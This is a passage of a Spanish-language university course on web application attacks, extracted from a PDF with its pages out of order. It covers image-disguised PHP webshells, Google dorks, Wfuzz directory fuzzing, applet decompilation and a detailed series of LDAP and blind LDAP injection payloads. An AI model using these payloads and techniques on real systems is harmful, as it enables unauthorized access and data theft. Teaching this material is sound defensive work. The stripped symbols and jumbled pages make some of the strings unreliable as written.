en nuestro servidor un fichero malintencionado conocido como webtrojan5
Existen multitud de shells remotas en distintos lenguajes a disposicioacuten de cual-
quiera Estas shells suelen ser detectadas por los antivirus para evitar que pasen
desapercibidas a administradores despistados pero pueden ser ldquocamufladasrdquo
dentro de otros ficheros
El ejemplo maacutes claro de coacutemo camuflar un fichero de estos es incluirlo tras
una cabecera de una imagen donde algunos servidores son capaces de ejecutar
el coacutedigo
Figura 45 Webtrojan oculto dentro de un fichero GIF
En la imagen anterior se puede ver coacutemo un fichero gif abierto con un visor
de textos deja a la vista coacutedigo PHP que va a generar una puerta trasera para
subir cualquier tipo de fichero
Para evitar este tipo de problemas debemos comprobar siempre no solo la ex-
tensioacuten sino tambieacuten la cabecera del fichero para corroborar que es del tipo
que nosotros hemos permitido Una buena praacutectica es la de establecer noso-
tros mediante programacioacuten la extensioacuten de los ficheros que se nos suben
evitando que alguien pueda subir un fichero y establecerlo con extensiones
como ASP o PHP
(5)Es una shell remota que pode-mos subir a un servidor aprove-chando un fallo de seguridad
CC-BY-NC-ND bull PID_00191662 61 Ataques a aplicaciones web
5 Google Hacking
Google indexa hoy en diacutea millones de paacuteginas web y no entiende de zonas
privadas ni restringidas Todo aquello que esteacute enlazado a alguacuten sitio y sea
accesible estaraacute en Google Si conocemos coacutemo funciona Google (y en general
los buscadores) podremos acceder a mucha informacioacuten que ni siquiera sus
propietarios saben que se encuentra ahiacute
Es por esta razoacuten por lo que saber coacutemo hacer preguntas a Google sobre la
informacioacuten que nos interesa es muy importante permitieacutendonos recopilar
mucha informacioacuten sobre un sitio web sin necesidad de realizar en principio
ninguna peticioacuten al servidor en cuestioacuten
Google ofrece varios filtros que nos permitiraacuten afinar la buacutesqueda que quere-
mos realizar y que combinados unos con otros alcanzan una potencia mucho
mayor
bull +ltpalabragt Incluir un + (maacutes) delante de una palabra requiere la presencia
obligatoria de esta palabra en las paacuteginas devueltas
bull -ltpalabragt Con un siacutembolo ndash (menos) delante de una palabra excluye
todos los resultados que contengan esa palabra
bull ldquoltpalabrasgtrdquo Al colocar una frase entre comillas dobles buscamos cadenas
completas de texto dentro de los resultados
bull Se puede usar el caraacutecter con el significado de que puede aparecer cual-
quier palabra dentro de una frase entrecomillada
bull intitlelttextogt Permite buscar en el tiacutetulo de la paacutegina
bull inurllttextogt Realiza las buacutesquedas en la URL de la paacutegina
bull intextlttextogt Busca el texto en el cuerpo de las paacuteginas devueltas
bull filetypeltextensioacutengt Restringe la buacutesqueda a la extensioacuten especifi-
cada
bull domainltdominiogt Limita los resultados al dominio especificado Se
puede usar solo el identificador del paiacutes (como es)
Con estos filtros y combinaacutendolos entre siacute podemos lograr encontrar cualquier
cosa que esteacute en Internet
CC-BY-NC-ND bull PID_00191662 62 Ataques a aplicaciones web
Figura 46 Resultados de la buacutesqueda +usersmdb intitlerdquoIndex ofrdquo
Google Hacking Database es una base de datos de buacutesquedas de corroborada
eficacia que permite obtener datos interesantes referentes a ficheros de confi-
guracioacuten zonas privadas dispositivos conectados a la red software vulnera-
ble etc
Usando este tipo de buacutesquedas se puede llegar a conocer muchiacutesimos datos
de un servidor Uno de los ejemplos maacutes claros es la posibilidad de localizar
subdominios de un dominio dado mediante buacutesquedas recursivas Vamos a
realizar un ejemplo para que quede demostrada la utilidad de estas teacutecnicas
Para empezar se selecciona un dominio en este caso se ha elegido el dominio
uoces y se ejecuta la siguiente buacutesqueda
siteuocedu
Esta buacutesqueda devuelve 587000 resultados Evidentemente todas estas paacutegi-
nas no pertenecen solo a un dominio sino que habraacute distintos sitios implica-
dos
El proceso es simple Consiste en ver cuaacutel es el subdominio del primer resul-
tado devuelto y antildeadirlo con un siacutembolo ndash (menos) delante Por ejemplo
-www siteuoces
Excluyendo el subdominio www de las buacutesquedas obtendremos un nuacutemero de
paacuteginas devueltas de 631000 Siguiendo este proceso llegaremos hasta generar
una buacutesqueda que no nos devuelva ninguacuten resultado una aproximacioacuten seriacutea
la siguiente
-acc -rusc -elcrps -blogs -personal -eprints -cataleg -osrt -clab -unescochair -elearning
-multimedia -edulab -net -itol -gres -red -lletra -laboralcentrodearte -lpg -elconcept
-biblioteca -comein -foto -guatemala -einflinux1 -cicr -campus -icesd -laos -xequia
CC-BY-NC-ND bull PID_00191662 63 Ataques a aplicaciones web
-dpcs -cimanet -comoras -marroc -colleague -colloque -xina -macedonia -oliba -cv
-www -biblio siteuoces
Cabe recordar que hasta este momento y mediante esta teacutecnica en ninguacuten
momento se ha realizado ninguna peticioacuten directa hacia el dominio uoces
por lo que seriacutea imposible conocer quieacuten estaacute intentando averiguar informa-
cioacuten sobre nuestro dominio
Otras buacutesquedas que podemos encontrar aquiacute son las que nos pueden devolver
todos los ficheros ofimaacuteticos del servidor tales como ficheros doc xls pdf
etc
Estos ficheros en sus distintas versiones incluyen mayor o menor cantidad
de metadatos que tienen informacioacuten acerca de nombres de usuarios o rutas
locales del ordenador donde se generoacute el fichero Con toda esta informacioacuten
un atacante podriacutea empezar a utilizar un programa de fuerza bruta para inten-
tar sacar las contrasentildeas
CC-BY-NC-ND bull PID_00191662 64 Ataques a aplicaciones web
6 Seguridad por ocultacioacuten
Es habitual esconder una llave ldquode emergenciardquo en alguacuten lugar cercano a la
puerta de una casa para que dado el caso podamos entrar si hemos perdido
nuestra llave Evidentemente esto no es nada seguro pues cualquier persona
que la encuentre podraacute acceder al igual que nosotros a nuestra casa
Este siacutemil con la vida real sirve para enlazar la idea con una aplicacioacuten web
Es comuacuten entre los programadores web usar directorios especiacuteficos para acti-
vidades especiacuteficas como la administracioacuten las zonas de pruebas o la subida
de ficheros temporales Algunas de las maacutes comunes son
bull admin
bull logs
bull uploads
bull phpmyadmin
bull tmp
Estos directorios se pueden descubrir mediante pruebas manuales o haciendo
uso de alguacuten programa tipo fuzzer6 que realice las peticiones por nosotros
En este caso lo vamos a usar para automatizar la buacutesqueda de directorios con
nombres conocidos
Wfuzz es un programa de este tipo realiza conexiones a un servidor web sus-
tituyendo en la zona de la URL que nosotros especifiquemos una cadena de
texto que va cogiendo liacutenea tras liacutenea de un fichero de texto
Se puede descargar gratuitamente y lo vamos a usar para realizar una demos-
tracioacuten de los datos que se pueden llegar a obtener mediante esta herramienta
Vamos a aprender a usarla pues la sintaxis es simple
wfuzzexe -z file -f wordlistscommontxt --hc 404 httpwwwvictimacomFUZZ
La liacutenea anterior representa una ejecucioacuten tiacutepica del programa Wfuzz y nos va
a servir como ejemplo para determinar cuaacuteles son los paraacutemetros maacutes uacutetiles a la
hora de realizar un anaacutelisis mediante esta herramienta Con estos paraacutemetros
estaremos indicaacutendole al programa que
bull -z Use el payload de tipo fichero Esto es los nombres de las carpetas ocul-
tas que vamos a buscar se van a coger desde un fichero de texto
(6)Un programa fuzzer es un pro-grama que automatiza tareas repe-titivas
CC-BY-NC-ND bull PID_00191662 65 Ataques a aplicaciones web
bull -f El nombre del fichero que se va a usar En este caso hemos seleccionado
el fichero commontxt que acompantildea al programa y que contiene una lista
de los nombres maacutes comunes de directorios ocultos
bull --hc 404 El paraacutemetro hc nos permite eliminar resultados de la salida del
programa en base al coacutedigo HTTP que se devuelva En el ejemplo se ha
usado el coacutedigo 404 por ser el coacutedigo asociado a los errores en el protocolo
HTTP Tambieacuten se pueden establecer filtros por nuacutemero de liacuteneas (--hl) y
palabras (--hw) que contiene una paacutegina por si nos encontramos con un
servidor que devuelva siempre una paacutegina con coacutedigo 200
bull httpwwwvictimacomFUZZ Allaacute donde coloquemos la palabra fuzz se-
raacute donde el programa incluya en cada peticioacuten la palabra siguiente del fi-
chero especificado
Figura 47 Resultado de la ejecucioacuten del programa Wfuzz
En la imagen anterior apreciamos coacutemo el programa ha detectado una serie
de directorios en el servidor analizado De estos directorios los de ldquopasswordrdquo
y ldquotestrdquo pueden resultar interesantes para comenzar a realizar una revisioacuten de
seguridad
Otra manera de encontrar directorios y ficheros ocultos en una aplicacioacuten es la
buacutesqueda del fichero robotstxt Este fichero es usado por los administradores
de sitios web para evitar que Google y otros buscadores indexen zonas que
no desean
CC-BY-NC-ND bull PID_00191662 66 Ataques a aplicaciones web
Figura 48 Ejemplo de fichero robotstxt
El problema es que mucha gente no entiende completamente el concepto de
este fichero antildeadiendo a eacutel todas las rutas que no quieren que se indexen
aunque no esteacuten enlazados desde ninguacuten sitio (recordemos que los buscado-
res solo indexan si se realiza un enlace desde alguacuten sitio) Por ello podemos
encontrarnos con ficheros robotstxt que contienen referencias a zonas admi-
nistrativas de pruebas privadas
Otro fichero que puede darnos mucha informacioacuten y que al contrario de
los anteriores es informacioacuten puacuteblica es el fichero sitemapxml El fichero
sitemapxml es un fichero propuesto por Google como una manera de indi-
carle al buscador cuaacuteles son las paacuteginas maacutes interesantes de un sitio web y
cuaacuteles son las menos actualizadas Esta informacioacuten parece obvia y podemos
descubrirla nosotros mismos navegando por la paacutegina Sin embargo es de vital
importancia pues nos ahorra tiempo en navegar por el sitio y con una sola
peticioacuten obtenemos un esquema de la estructura del mismo A continuacioacuten
se muestra un ejemplo de un fichero sitemapxml
ltxml version=10 encoding=UTF-8gt
lturlset xmlns=httpwwwsitemapsorgschemassitemap09gt
lturlgt
ltlocgthttpwwwacomltlocgt
ltlastmodgt2005-01-01ltlastmodgt
ltchangefreqgtmonthlyltchangefreqgt
ltprioritygt08ltprioritygt
lturlgt
lturlgt
ltlocgthttpwwwacomnewsltlocgt
ltchangefreqgtweeklyltchangefreqgt
lturlgt
lturlgt
ltlocgthttpwwwacomarchiveltlocgt
ltlastmodgt2004-12-23ltlastmodgt
changefreqgtweeklyltchangefreqgt
CC-BY-NC-ND bull PID_00191662 67 Ataques a aplicaciones web
lturlgt
lturlgt ltlocgthttpwwwacomfaqltlocgt
ltlastmodgt2004-12-23T180015+0000ltlastmodgt
ltprioritygt03ltprioritygt
lturlgt
lturlgt ltlocgthttpwwwacomaboutltlocgt
ltlastmodgt2004-11-23ltlastmodgt
lturlgt
lturlsetgt
61 Descompiladores de applets web
611 Flash
Flash se ha puesto cada vez maacutes de moda como una manera de ofrecer una
interfaz atractiva al usuario final En la actualidad hay multitud de paacuteginas
que hacen un uso casi abusivo de esta tecnologiacutea Pero debemos tener en con-
sideracioacuten algo importante y es que Flash no es maacutes que la capa de presenta-
cioacuten sobre la capa de datos y nunca una uacutenica capa que se encarga de todo
aunque a veces ocurre
Es por ello por lo que estas paacuteginas en Flash si cargan datos dinaacutemicamente
han de llamar a paacuteginas que se los devuelvan en funcioacuten de los paraacutemetros
proporcionados Estos paraacutemetros podriacutean ser vulnerables a las inyecciones de
coacutedigo que se comentaron anteriormente Estas llamadas a ficheros externos
se pueden observar faacutecilmente usando un sniffer del protocolo HTTP
Un ejemplo claro de esto son las paacuteginas que usan un reproductor de audio
en Flash y en las que podemos descargar los ficheros mp3 sin necesidad de ver
el coacutedigo fuente del fichero Flash
CC-BY-NC-ND bull PID_00191662 68 Ataques a aplicaciones web
Figura 49 Captura del fichero mp3 reproducido desde unreproductor web
Tambieacuten es posible en ficheros Flash la descompilacioacuten de los ficheros dando
lugar a un pseudocoacutedigo legible que permitiriacutea a un atacante conocer coacutemo
actuacutea internamente el fichero Ademaacutes es posible convertir el coacutedigo a un en-
samblador de ActionScript7 que podemos modificar y volver a compilar daacuten-
donos la posibilidad por ejemplo de incluir coacutedigo Javascript dentro de un
fichero Flash
Existen muacuteltiples programas para realizar esta accioacuten y aquiacute vamos a mostrar
coacutemo realizar esto mediante el programa Flasm de descarga gratuita
La aplicacioacuten se ejecuta desde consola Recibe el paraacutemetro ndashd para descompi-
lar el fichero swf que recibe Al volcar el coacutedigo por pantalla necesitamos redi-
rigir hacia un fichero de texto la salida del programa En este ejemplo vamos
a realizar la accioacuten con un pequentildeo juego Flash
Figura 50 Ejecucioacuten del comando flasmexe
Este comando parsea el fichero swf y extrae el coacutedigo asociado a eacutel Logra
extraer el coacutedigo y convertirlo en un lenguaje parecido al ensamblador
(7)Es el lenguaje usado internamen-te para programar las aplicacio-nes Flash Tiene una sintaxis pare-cida a Javascript y es un lenguajeinterpretado lo cual significa quepodemos lograr extraer el coacutedigofuente original del fichero swf
CC-BY-NC-ND bull PID_00191662 69 Ataques a aplicaciones web
Figura 51 Volcado del coacutedigo del fichero swf
Conocer el coacutedigo fuente de un fichero swf nos puede ayudar a entender coacutemo
funciona la aplicacioacuten a buscar fallos de seguridad en el coacutedigo o a localizar las
URL a las que hace referencia para cargar informacioacuten dentro de la aplicacioacuten
Flash Una vez localizadas estas URL seriacutea cuestioacuten de probar sobre ellas los
fallos de seguridad comentados en capiacutetulos anteriores
612 Java
Al igual que con los ficheros Flash aunque con menos popularidad en la ac-
tualidad existen los llamados applets Java pequentildeas aplicaciones que se eje-
cutan dentro de nuestro navegador
Java se ejecuta sobre una maacutequina virtual se puede ejecutar el mismo coacutedigo
en cualquier ordenador que implemente la maacutequina virtual de Java Esto tiene
muchas ventajas a la hora de exportar nuestra aplicacioacuten Sin embargo esto
tambieacuten nos permite poder extraer el coacutedigo exactamente igual que lo haciacutea-
mos en Flash
Para realizar esta accioacuten existen programas que efectuacutean esta conversioacuten y nos
muestran el coacutedigo Java original En la captura siguiente el programa usado
es Java Decompiler un programa gratuito que nos permitiraacute realizar estas ac-
ciones
CC-BY-NC-ND bull PID_00191662 70 Ataques a aplicaciones web
Figura 52 Pantalla principal del Java Decompiler
613 NET
Microsoft ha sumado su plataforma NET a la web Existen las aplicaciones
ASPNET que se ejecutan del lado del servidor y que no vamos a poder auditar
maacutes allaacute de los paraacutemetros que reciba Sin embargo estaacute poco a poco expan-
dieacutendose una nueva tecnologiacutea llamada Silverlight Silverlight es un compila-
do NET que se carga desde el servidor mediante un plugin en nuestro navega-
dor Esto al igual que Flash y Java nos permite analizar el coacutedigo fuente de
la aplicacioacuten Silverlight
Figura 53 Aplicacioacuten de muestra de Silverlight
CC-BY-NC-ND bull PID_00191662 71 Ataques a aplicaciones web
En la captura anterior se puede observar una aplicacioacuten Silverlight muy simple
Nos va a solicitar usuario y contrasentildea para lograr entrar Esta aplicacioacuten estaacute
programada para que compruebe los datos introducidos con unos datos que
estaacuten escritos dentro de la aplicacioacuten Esto es un grave fallo de seguridad y
vamos a ver coacutemo analizar el fichero para sacar el usuario y la contrasentildea
vaacutelidos El detalle de coacutedigo Javascript seriacutea
Para descargar una aplicacioacuten Silverlight debemos localizar dentro del coacutedigo
HTML la seccioacuten de coacutedigo que realice la carga del fichero XAP Este fichero
contiene todo el coacutedigo de la aplicacioacuten Silverlight y seraacute lo que nuestro na-
vegador interprete
El fichero XAP contiene una serie de ficheros necesarios para la ejecucioacuten del
programa Estos ficheros son compilados de NET y pueden ser analizados me-
diante programas como NET Reflector Los ficheros contenidos en este fiche-
ro pueden ser extraiacutedos mediante el uso de cualquier programa descompresor
pues realmente es un fichero ZIP
Figura 54ndash Fichero xap descomprimido
Una vez descomprimido se nos muestran una serie de archivos Estos archivos
contienen informacioacuten referente a la interfaz usada por la aplicacioacuten pero
realmente los datos importantes se encuentran en el fichero Test001dll (en el
ejemplo actual) Este fichero puede ser descompilado mediante el programa
indicado anteriormente y acceder al coacutedigo fuente interno En este caso se
observan dos clases principales App y MainPage
CC-BY-NC-ND bull PID_00191662 72 Ataques a aplicaciones web
Figura 55 Detalle del programa descompilado
En la imagen anterior observamos coacutemo en la clase MainPage existe un meacuteto-
do btnOK_Click Este meacutetodo es el llamado cuando pulsamos sobre el botoacuten
de Entrar de la aplicacioacuten En el coacutedigo asociado vemos coacutemo se comprueba el
nombre de usuario con la cadena ldquotestrdquo y la clave con la cadena ldquomelonrdquo
Tanto Silverlight como los applets Java o las aplicaciones Flash son una mera
forma de poner un contenido de una manera maacutes vistosa para el usuario Sin
embargo a veces los desarrolladores web lo usan como un lenguaje de progra-
macioacuten web completamente vaacutelido algo que se ha demostrado muy inseguro
CC-BY-NC-ND bull PID_00191662 73 Ataques a aplicaciones web
Bibliografiacutea
Andreu A (2006) Professional Pen Testing for Web Applications Ed Wrox
Clarke J (2009) SQL Injection Attacks and defense E Syngress
Grossman J et al (2007) Xss Attacks Cross Site Scripting Exploits And Defense Ed Syngress
Scambray J Shema M and Sima C (2006) Hacking Expose Web Applications Ed Mc-Graw-HillOsborne Media
Stuttard D (2007) The Web Application Hackers Handbook Discovering and Exploiting Secu-rity Flaws Ed Wiley
CC-BY-NC-ND bull PID_00191662 37 Ataques a aplicaciones web
Un ejemplo de este ataque se puede ver en la siguiente aplicacioacuten En primer
lugar se va a realizar un acceso no autorizado a la aplicacioacuten web utilizando
una inyeccioacuten que evite la comprobacioacuten de la contrasentildea La aplicacioacuten lanza
una consulta LDAP del tipo
(amp(uid=valor_de_user)(password=valor_de_password)
El atacante inyectando la cadena slisberger)(amp)) en el valor del USER
obtendriacutea una consulta LDAP que siempre devolveriacutea al usuario slisberger
y por lo tanto conseguiriacutea el acceso a la aplicacioacuten
Figura 24 Acceso no autorizado mediante AND LDAP Injection
Y como se puede ver en la figura 25 el usuario consigue acceso al directorio
privado del usuario slisberger En este caso se ha utilizado el filtro (amp)
que es el equivalente al valor TRUE en los filtros LDAP
Figura 25 Directorio home del usuario
Como se puede ver en este caso el usuario ha accedido con privilegios de nivel
bajo y en la aplicacioacuten de mostrar documentos que se describioacute al principio
de este apartado solo tendriacutea acceso a los documentos de nivel bajo como se
puede ver en la figura 26
CC-BY-NC-ND bull PID_00191662 38 Ataques a aplicaciones web
Figura 26 Listado de documentos de nivel bajo
La consulta que se estaacute ejecutando es
(amp(directory=nombre_directorio)(level=low))
El valor de level lo estaacute cogiendo la aplicacioacuten de las variables de sesioacuten del
servidor sin embargo un atacante podriacutea inyectar en el nombre del directorio
el siguiente comando Documents)(level=High) De esta forma el coman-
do que se ejecutariacutea seriacutea
(amp(directory=Documents)(level=High))(level=low))
Permitiendo al atacante acceder a todos los documentos Se ha producido una
elevacioacuten de privilegios
CC-BY-NC-ND bull PID_00191662 39 Ataques a aplicaciones web
Figura 27 Elevacioacuten de privilegios mediante AND LDAP Injection
22 Blind LDAP Injection
Una de las evoluciones de las inyecciones de comandos son las acciones a
ciegas los ataques ldquoblindrdquo Es comuacuten encontrarse ya documentados los ataques
Blind SQL Injection pero de los ataques Blind LDAP Injection sin embargo no
se ha hablado nada Tambieacuten es posible realizar un ataque a ciegas para extraer
informacioacuten de un aacuterbol LDAP
El entorno para realizar un ataque a ciegas suele ser una aplicacioacuten web que
cumple dos caracteriacutesticas
bull La aplicacioacuten no muestra los resultados obtenidos de la consulta realizada
al aacuterbol LDAP
bull El uso de los resultados produce cambios en la respuesta http que el cliente
recibe
Para realizar un ataque a ciegas necesitamos poder crear la loacutegica para extraer
informacioacuten cambiando los resultados obtenidos con el filtro LDAP y obser-
vando los cambios en las respuestas http
CC-BY-NC-ND bull PID_00191662 40 Ataques a aplicaciones web
221 Blind LDAP Injection en un entorno ldquoANDrdquo
En esta situacioacuten tenemos una consulta generada en el lado del servidor del
siguiente tipo
(amp(atributo1=valor1)(atributo2=valor2))
Para realizar la inyeccioacuten debemos tener en cuenta que en un entorno AND
tenemos un paraacutemetro fijo que nos va a condicionar El entorno ideal es que el
atributo1 sea lo maacutes general posible por ejemplo objectClass o cn con lo
que podremos seleccionar casi cualquier objeto del aacuterbol Despueacutes deberemos
aplicarle un valor que sea true es decir que siempre seleccione objetos para
tenerlo fijado a valor true y utilizar como segundo atributo uno conocido que
tambieacuten nos garantice que sea true
Supongamos la siguiente consulta LDAP
(amp(objectClass=Impresoras)(impresoraTipo=Epson))
Que se lanza para saber si en el almaceacuten de una empresa hay impresoras Epson
de tal manera que el programador si recibe alguacuten objeto simplemente pinta
en la paacutegina web un icono de una impresora Epson
Estaacute claro que lo maacuteximo que conseguiremos tras la inyeccioacuten es ver o no el
icono de la impresora Bien iexclpues a ello Fijemos la respuesta positiva tal y
como hemos dicho realizando una inyeccioacuten del siguiente tipo
(amp(objectClass=)(objectClass=))(amp(objectClass=void)(impresoraTipo=Epson))
Lo que estaacute puesto en negrita seriacutea la inyeccioacuten que introduciriacutea el atacante
Esta inyeccioacuten debe devolver siempre alguacuten objeto en el ejemplo planteado
en la respuesta http veriacuteamos un icono de la impresora A partir de ahiacute podriacutea-
mos extraer los tipos de objectClass que tenemos en nuestro aacuterbol LDAP
222 Reconocimiento de clases de objetos de un aacuterbol LDAP
Sabiendo que el filtro (objectClass=) siempre devuelve alguacuten objeto deberiacutea-
mos centrarnos en el segundo filtro realizando un recorrido de la siguiente
forma
(amp(objectClass=)(objectClass=users))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=personas))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=usuarios))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=logins))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=))(amp(objectClass=foo)(impresoraTipo=Epson))
CC-BY-NC-ND bull PID_00191662 41 Ataques a aplicaciones web
De tal manera que todas aquellas inyecciones que devolvieran el icono de la
impresora en la paacutegina web seriacutean respuestas afirmativas que nos indicariacutean
la existencia de ese tipo de objetos
Otra forma maacutes eficiente seriacutea realizando un barrido en el espectro del alfa-
beto de posibles valores utilizando una buacutesqueda con comodines para ello
realizariacuteamos un aacuterbol que comenzariacutea por todas las letras del abecedario de
la siguiente forma
(amp(objectClass=)(objectClass=a))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=b))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=z))(amp(objectClass=foo)(impresoraTipo=Epson))
De tal manera que seguiriacuteamos desplegando el aacuterbol de aquellas que hubieran
dado una respuesta positiva
(amp(objectClass=)(objectClass=aa))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=ab))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=az))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=ba))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=bb))(amp(objectClass=foo)(impresoraTipo=Epson))
Y asiacute sucesivamente con lo que desplegando siempre las positivas podriacuteamos
llegar a saber el nombre de todos los objetcClass de un sistema
Figura 28 Aacuterbol de despliegue Se profundizaraacute en todas las respuestas positivas (color verde)
Este mecanismo no solo funciona para objectClass sino que seriacutea vaacutelido
para cualquier atributo que un objeto compartiera con el atributo fijo Una
vez sacados los objectClass podriacuteamos proceder a realizar el mismo reco-
CC-BY-NC-ND bull PID_00191662 42 Ataques a aplicaciones web
rrido para extraer la informacioacuten de ellos por ejemplo si queremos extraer los
nombres de todos los usuarios de un sistema bastariacutea con realizar el barrido
con la siguiente inyeccioacuten
(amp(objectClass=user)(uid=a))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=user)(uid=b))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=user)(uid=z))(amp(objectClass=foo)(impresoraTipo=Epson))
Este meacutetodo obliga a hacer un recorrido en amplitud por un aacuterbol cuya posi-
bilidad de expandirse en cada nodo siempre es igual al alfabeto completo Se
puede reducir este alfabeto realizando un recorrido para averiguar queacute carac-
teres no estaacuten siendo utilizados en ninguna posicioacuten en ninguacuten objeto utili-
zando un recorrido de la siguiente forma
(amp(objectClass=user)(uid=a))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=user)(uid=b))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=user)(uid=z))(amp(objectClass=foo)(impresoraTipo=Epson))
De esta forma se pueden excluir del alfabeto aquellos caracteres que no hayan
devuelto un resultado positivo tras este primer recorrido Si deseaacuteramos bus-
car un uacutenico valor podriacuteamos realizar una buacutesqueda binaria de cada uno de
los caracteres utilizando los operadores relacionales lt= o gt= para reducir el
nuacutemero de peticiones
En los atributos que almacenan valores numeacutericos no es posible utilizar el co-
modiacuten para ldquobooleanizarrdquo la informacioacuten almacenada es por tanto necesa-
rio realizar la buacutesqueda de valores utilizando los operadores gt= y lt=
(amp(objectClass=user)(uid=kurt)(edadgt=1)(amp(objectClass=foo)(impresoraTipo=Epson))
223 Blind LDAP Injection en un entorno ldquoORrdquo
En esta situacioacuten tenemos una consulta generada en el lado del servidor del
siguiente tipo
(|(atributo1=valor1)(atributo2=valor2))
En este entorno la loacutegica que debemos utilizar es al contrario En lugar de fijar
el valor del primer filtro a un valor siempre cierto deberemos fijarlo a un valor
siempre falso y a partir de ahiacute extraer la informacioacuten es decir realizariacuteamos
una inyeccioacuten de la siguiente forma
(|(objectClass=void)(objectClass=void))(amp(objectClass=void)(impresoraTipo=Epson))
CC-BY-NC-ND bull PID_00191662 43 Ataques a aplicaciones web
Con esta inyeccioacuten obtendremos el valor negativo de referencia En el ejemplo
planteado de las impresoras disponibles deberemos obtener un resultado sin
el icono de la impresora Luego podremos inferir la informacioacuten cuando sea
verdadero el segundo filtro
(|(objectClass=void)(objectClass=users))(amp(objectClass=void)(impresoraTipo=Epson))
(|(objectClass=void)(objectClass=personas))(amp(objectClass=void)(impresoraTipo=Epson))
(|(objectClass=void)(objectClass=usuarios))(amp(objectClass=void)(impresoraTipo=Epson))
(|(objectClass=void)(objectClass=logins))(amp(objectClass=void)(impresoraTipo=Epson))
(|(objectClass=void)(objectClass=))(amp(objectClass=void)(impresoraTipo=Epson))
De igual forma que en el ejemplo con el operador AND podriacuteamos extraer toda
la informacioacuten del aacuterbol LDAP utilizando los comodines
224 Ejemplos Blind LDAP Injection
Para mostrar la potencia de los ataques Blind LDAP Injection se ha creado
dentro de un aacuterbol LDAP sobre ADAM una estructura con objetos Printer En
la siguiente figura se pueden ver los atributos de un objeto de tipo Printer
Figura 29 Aacuterbol LDAP sobre ADAM Objeto tipo Printer
Sobre este aacuterbol LDAP trabaja una aplicacioacuten web que se conecta entre otros
repositorios a este aacuterbol para obtener informacioacuten En este caso tenemos una
aplicacioacuten programada en php llamada printerstatusphp que recibe co-
mo paraacutemetro el nombre de la impresora y construye una consulta LDAP de
la siguiente forma
(amp(cn=HP Laserjet 2100)(objectclass=printer))
El resultado es una paacutegina web en la que se accede a propiedades de la impre-
sora en concreto
CC-BY-NC-ND bull PID_00191662 44 Ataques a aplicaciones web
Figura 30 Propiedades de la impresora HP LaserJet 2100
El paraacutemetro idprinter se utiliza para construir la consulta LDAP y es vul-
nerable a LDAP Injection sin embargo no se muestra ninguno de los datos de
los objetos que se puedan seleccionar con cualquier consulta ejecutada por
lo que uacutenicamente se puede realizar una explotacioacuten a ciegas Las siguientes
capturas muestran ejemplos de coacutemo extraer informacioacuten del aacuterbol LDAP me-
diante Blind LDAP Injection
1)Fase1descubrimientodeatributos
El atacante inyecta atributos para descubrir si existen o no Cuando el atributo
no existe la consulta LDAP no devuelve ninguacuten objeto y la aplicacioacuten no
muestra datos de ninguna impresora
Hay que tener en cuenta que el comodiacuten vale uacutenicamente para los valores de
tipo alfanumeacutericos luego si el atributo fuera de otro tipo no se podriacutea descubrir
asiacute Para los tipos numeacutericos y de tipo fecha se utilizan los operadores gt= lt=
o = y para los booleanos las constantes true y false
Figura 31 Atributo IPaddress no existe o no tiene valor alfanumeacuterico
En el siguiente ejemplo el atributo distinguisedname existe y ademaacutes es de
tipo alfanumeacuterico ya que funciona perfectamente con el comodiacuten ldquordquo Esto
se puede comprobar porque la paacutegina de resultados ha devuelto datos de la
impresora que se estaba utilizando
CC-BY-NC-ND bull PID_00191662 45 Ataques a aplicaciones web
Figura 32 Atributo distinguisedname existe y tiene valor alfanumeacuterico
Como se puede ver hay diferencias entre las paacuteginas que devuelven datos y las
que no con lo que se puede automatizar la extraccioacuten de toda la informacioacuten
y el descubrimiento de los atributos simplemente comparando los resultados
HTML obtenidos
En la figura 33 se obtiene de nuevo un resultado positivo que confirma la
existencia de un atributo department
Figura 33 Atributo Department existe y tiene valor Unicode extraiacuteble
2)Fase2reduccioacutendelalfabeto
Una de las opciones que se pueden sopesar es realizar una reduccioacuten del al-
fabeto posible de valores en un campo La idea consiste en saber si existe o
no un determinado caraacutecter en un atributo Si el atributo tiene 15 caracteres
de longitud y tenemos que probar por ejemplo 28 letras por 15 caracteres
tendriacutean que realizarse un total de 420 peticiones para extraer la informacioacuten
Sin embargo se puede realizar un recorrido que nos diga si una letra pertene-
ce o no al valor De esa manera realizariacuteamos primero 28 peticiones que nos
dejaraacuten en el peor de los casos una letra distinta por cada posicioacuten es decir
15 letras Luego en el peor de los casos tendriacuteamos 15 letras x 15 posiciones
+ 28 peticiones de reduccioacuten del alfabeto es decir 253 peticiones Ademaacutes se
puede inferir que si una letra ya ha sido utilizada puede que no se vuelva a
utilizar con lo que tendriacuteamos una reduccioacuten auacuten mayor si la letra se utiliza
como uacuteltima opcioacuten dejando la probabilidad en un sumatorio de 115 + 28
es decir 148 peticiones
CC-BY-NC-ND bull PID_00191662 46 Ataques a aplicaciones web
Como conclusioacuten se puede obtener que la reduccioacuten del alfabeto es una buena
opcioacuten a la hora de extraer valores de campos
En los siguientes ejemplos vamos a ver coacutemo averiguar si un caraacutecter pertenece
o no al valor del campo
Figura 34 La letra b no pertenece al valor del atributo department porque no se obtienendatos
Figura 35 La letra n siacute que pertenece al valor del atributo department porque siacute que seobtienen datos
Esta reduccioacuten dejariacutea un conjunto de valores vaacutelidos que pueden emplearse
para extraer el valor del dato mediante un proceso de despliegue
3)Fase3despliegue
En esta fase una vez reducido el alfabeto hay que ordenar las letras obtenidas
para ello comenzaremos un proceso desde la primera posicioacuten
Figura 36 El valor de department no comienza por la letra a porque no se obtienen datos
CC-BY-NC-ND bull PID_00191662 47 Ataques a aplicaciones web
Se iraacuten probando letras hasta que se obtenga un resultado positivo que con-
